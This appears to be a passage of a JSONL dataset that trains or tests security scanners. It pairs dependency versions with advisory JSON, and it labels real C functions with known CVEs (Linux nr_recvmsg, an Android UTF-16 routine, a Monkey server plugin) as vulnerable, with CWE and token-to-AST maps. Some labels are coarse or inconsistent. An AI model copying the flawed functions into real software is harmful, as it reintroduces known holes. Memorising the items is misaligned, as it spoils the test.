\"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: chromium\nInstalled version: <156.0.8078.108-1~deb12u1\nSummary: Type confusion in V8 in Google Chrome prior to 157.0.8103.78 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-126880\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"chromium\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <156.0.8078.108-1~deb12u1\",\n \"fixed_version\": \"156.0.8078.108-1~deb12u1\",\n \"finding\": \"Type confusion in V8 in Google Chrome prior to 157.0.8103.78 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\",\n \"remediation\": \"Upgrade chromium to 156.0.8078.108-1~deb12u1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-758", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Magick.NET-Q16-AnyCPU\nInstalled version: <14.8.0\nSummary: ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-6hgw-6x87-578x\",\n \"cve\": \"CVE-2025-55160\",\n \"aliases\": [\n \"CVE-2025-55160\"\n ],\n \"cwe\": \"CWE-758\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Magick.NET-Q16-AnyCPU\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <14.8.0\",\n \"fixed_version\": \"14.8.0\",\n \"finding\": \"ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree\",\n \"remediation\": \"Upgrade Magick.NET-Q16-AnyCPU to 14.8.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:3.1\nManifest: distro package manager (apt/apk)\nPackage: gallery\nInstalled version: 1.5-1sarge2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:3.1\",\n \"package\": \"gallery\",\n \"installed_version\": \"1.5-1sarge2\",\n \"note\": \"gallery 1.5-1sarge2 is at or above the fixed version for DSA-1148-1; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static inline unsigned long do_div_llr(const long long dividend,\n\t\t\t\t const long divisor, long *remainder)\n{\n\tu64 result = dividend;\n\n\t*(remainder) = do_div(result, divisor);\n\treturn (unsigned long) result;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": null, "source": "curated secure pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the python source into its AST, map tokens to AST nodes, and report any vulnerability as JSON.", "input": "import yaml\ndef parse():\n arg = request.form['name']\n return yaml.safe_load(arg)\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"note\": \"Secure pattern: Safe YAML load. No injection/traversal sink reachable from untrusted input.\",\n \"ast_top_level\": [\n \"module\",\n \"import_statement\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "ssize_t utf16_to_utf8_length(const char16_t *src, size_t src_len)\n{\n if (src == NULL || src_len == 0) {\n return -1;\n }\n\n size_t ret = 0;\n\n const char16_t* const end = src + src_len;\n while (src < end) {\n if ((*src & 0xFC00) == 0xD800 && (src + 1) < end\n && (*++src & 0xFC00) == 0xDC00) {\n ret += 4;\n src++;\n } else {\n ret += utf32_codepoint_utf8_length((char32_t) *src++);\n }\n }\n return ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-3861\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 12,\n 14\n ],\n \"sink_node_type\": \"binary_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"while_statement\",\n \"compound_statement\",\n \"if_statement\",\n \"parenthesized_expression\",\n \"binary_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 13\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 11,\n \"col\": 14\n },\n {\n \"token\": \"src\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 15\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 11,\n \"col\": 19\n },\n {\n \"token\": \"0xFC00\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 27\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 11,\n \"col\": 29\n },\n {\n \"token\": \"0xD800\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 32\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 11,\n \"col\": 39\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 42\n },\n {\n \"token\": \"src\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 43\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 11,\n \"col\": 47\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 50\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 11,\n \"col\": 52\n },\n {\n \"token\": \"end\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 54\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 12,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 19\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 12,\n \"col\": 20\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 12,\n \"col\": 21\n },\n {\n \"token\": \"src\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 23\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 12,\n \"col\": 27\n },\n {\n \"token\": \"0xFC00\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 35\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 12,\n \"col\": 37\n },\n {\n \"token\": \"0xDC00\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 40\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: mlflow\nInstalled version: <2.3.1\nSummary: Path Traversal: '\\..\\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2023-69\",\n \"cve\": \"CVE-2023-2780\",\n \"aliases\": [\n \"BIT-mlflow-2023-2780\",\n \"CVE-2023-2780\",\n \"GHSA-wjq3-7jxx-whj9\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"mlflow\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.3.1\",\n \"fixed_version\": \"2.3.1\",\n \"finding\": \"Path Traversal: '\\\\..\\\\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.\",\n \"remediation\": \"Upgrade mlflow to 2.3.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void jpc_ppm_destroyparms(jpc_ms_t *ms)\n{\n\tjpc_ppm_t *ppm = &ms->parms.ppm;\n\tif (ppm->data) {\n\t\tjas_free(ppm->data);\n\t}\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"jasper\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static struct dentry *shmem_get_parent(struct dentry *child)\n{\n\treturn ERR_PTR(-ESTALE);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int nr_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t struct msghdr *msg, size_t size, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct sockaddr_ax25 *sax = (struct sockaddr_ax25 *)msg->msg_name;\n\tsize_t copied;\n\tstruct sk_buff *skb;\n\tint er;\n\n\t/*\n\t * This works for seqpacket too. The receiver has ordered the queue for\n\t * us! We do one quick check first though\n\t */\n\n\tlock_sock(sk);\n\tif (sk->sk_state != TCP_ESTABLISHED) {\n\t\trelease_sock(sk);\n\t\treturn -ENOTCONN;\n\t}\n\n\t/* Now we can treat all alike */\n\tif ((skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &er)) == NULL) {\n\t\trelease_sock(sk);\n\t\treturn er;\n\t}\n\n\tskb_reset_transport_header(skb);\n\tcopied = skb->len;\n\n\tif (copied > size) {\n\t\tcopied = size;\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\t}\n\n\ter = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);\n\tif (er < 0) {\n\t\tskb_free_datagram(sk, skb);\n\t\trelease_sock(sk);\n\t\treturn er;\n\t}\n\n\tif (sax != NULL) {\n\t\tmemset(sax, 0, sizeof(*sax));\n \t\tsax->sax25_family = AF_NETROM;\n \t\tskb_copy_from_linear_data_offset(skb, 7, sax->sax25_call.ax25_call,\n \t\t\t AX25_ADDR_LEN);\n \t}\n \n\tmsg->msg_namelen = sizeof(*sax);\n \tskb_free_datagram(sk, skb);\n \n \trelease_sock(sk);\n\treturn copied;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-7271\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 49\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"nr_recvmsg\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"kiocb\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \"iocb\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"socket\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"sock\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \"msghdr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 22\n },\n {\n \"token\": \"msg\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 26\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 28\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 35\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 39\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 41\n },\n {\n \"token\": \"flags\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 50\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"sock\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"sockaddr_ax25\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"sax\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 29\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"sockaddr_ax25\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 51\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 52\n },\n {\n \"token\": \"msg\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 53\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 56\n },\n {\n \"token\": \"msg_name\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 58\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 66\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"copied\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"sk_buff\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"skb\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"er\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 7\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: django\nInstalled version: 1.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"django\",\n \"installed_version\": \"1.1\",\n \"note\": \"django 1.1 is at or above the fixed version for PYSEC-2009-3; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-639", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hashicorp/vault\nInstalled version: 1.11.0\nSummary: HashiCorp Vault vulnerable to incorrect metadata access", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-7cgv-v83v-rr87\",\n \"cve\": \"CVE-2022-40186\",\n \"aliases\": [\n \"BIT-vault-2022-40186\",\n \"CVE-2022-40186\",\n \"GO-2022-1021\"\n ],\n \"cwe\": \"CWE-639\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hashicorp/vault\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=1.11.0, <1.11.3\",\n \"fixed_version\": \"1.11.3\",\n \"finding\": \"HashiCorp Vault vulnerable to incorrect metadata access\",\n \"remediation\": \"Upgrade github.com/hashicorp/vault to 1.11.3 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int _mkp_stage_30(struct plugin *p,\n struct client_session *cs,\n struct session_request *sr)\n{\n mk_ptr_t referer;\n (void) p;\n (void) cs;\n \n PLUGIN_TRACE(\"[FD %i] Mandril validating URL\", cs->socket);\n if (mk_security_check_url(sr->uri) < 0) {\n PLUGIN_TRACE(\"[FD %i] Close connection, blocked URL\", cs->socket);\n mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN);\n return MK_PLUGIN_RET_CLOSE_CONX;\n }\n\n PLUGIN_TRACE(\"[FD %d] Mandril validating hotlinking\", cs->socket);\n referer = mk_api->header_get(&sr->headers_toc, \"Referer\", strlen(\"Referer\"));\n if (mk_security_check_hotlink(sr->uri_processed, sr->host, referer) < 0) {\n PLUGIN_TRACE(\"[FD %i] Close connection, deny hotlinking.\", cs->socket);\n mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN);\n return MK_PLUGIN_RET_CLOSE_CONX;\n }\n\n return MK_PLUGIN_RET_NOT_ME;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-2182\",\n \"project\": \"monkey\",\n \"vulnerable_lines\": [\n 10\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"_mkp_stage_30\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 17\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"plugin\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \"client_session\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 30\n },\n {\n \"token\": \"cs\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 33\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"session_request\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"sr\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 32\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 0\n },\n {\n \"token\": \"mk_ptr_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"referer\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \"cs\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"PLUGIN_TRACE\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 9,\n \"col\": 18\n },\n {\n \"token\": \"[FD %i] Mandril validating URL\",\n \"ast_node\": \"string_content\",\n \"line\": 9,\n \"col\": 19\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 9,\n \"col\": 49\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 50\n },\n {\n \"token\": \"cs\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 52\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 54\n },\n {\n \"token\": \"socket\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 56\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 62\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 63\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 10,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \"mk_security_check_url\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 29\n },\n {\n \"token\": \"sr\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 30\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 32\n },\n {\n \"token\": \"uri\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 37\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 10,\n \"col\": 39\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 42\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 10,\n \"col\": 44\n },\n {\n \"token\": \"PLUGIN_TRACE\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 11,\n \"col\": 22\n },\n {\n \"token\": \"[FD %i] Close connection, blocked URL\",\n \"ast_node\": \"string_content\",\n \"line\": 11,\n \"col\": 23\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 11,\n \"col\": 60\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": 